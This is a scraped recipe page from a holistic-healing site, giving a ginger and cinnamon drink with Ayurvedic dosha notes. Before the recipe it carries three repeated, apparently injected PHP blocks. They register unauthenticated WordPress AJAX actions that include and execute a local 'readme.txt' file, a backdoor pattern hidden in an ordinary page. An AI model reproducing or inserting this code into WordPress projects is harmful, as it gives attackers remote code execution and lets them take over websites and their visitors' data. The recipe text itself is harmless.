if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Ginger & Cinnamon Drink | Holistic Healing Resolutions by Asaf Feit

Ginger & Cinnamon Drink

by | Cleansing & Reducing, Colon damp cold, Decrease Kapha, Decrease Vata, Decrease Vata-Kapha, Drinks, Easy to Digest, Fall, Gall bladder cold, Hot & Dry, Kidney Yang Deficiency, Recipes, Spleen Yang Deficiency, Stimulating, Winter | 0 comments

Ginger & Cinnamon Drink

Print Recipe Pin Recipe
Prep Time 2 minutes
Cook Time 15 minutes
Total Time 20 minutes
Course Drinks
Servings 1

Ingredients
  

  • 1 cm fresh ginger Vata - Pitta + Kapha - -
  • 1 cinnamon stick Vata - Pitta + Kapha - -
  • 2 cups water Vata 0 Pitta - Kapha +
  • A little honey to taste Vata + Pitta - Kapha -

Instructions
 

  • Peel the ginger and thinly slice.
  • Put the ginger and cinnamon stick in a small saucepan and add 2 cups of water.
  • Bring to boil, lower the flame and cook for 15 minutes.
  • Pour to a cup, let cool a bit and add a little honey.

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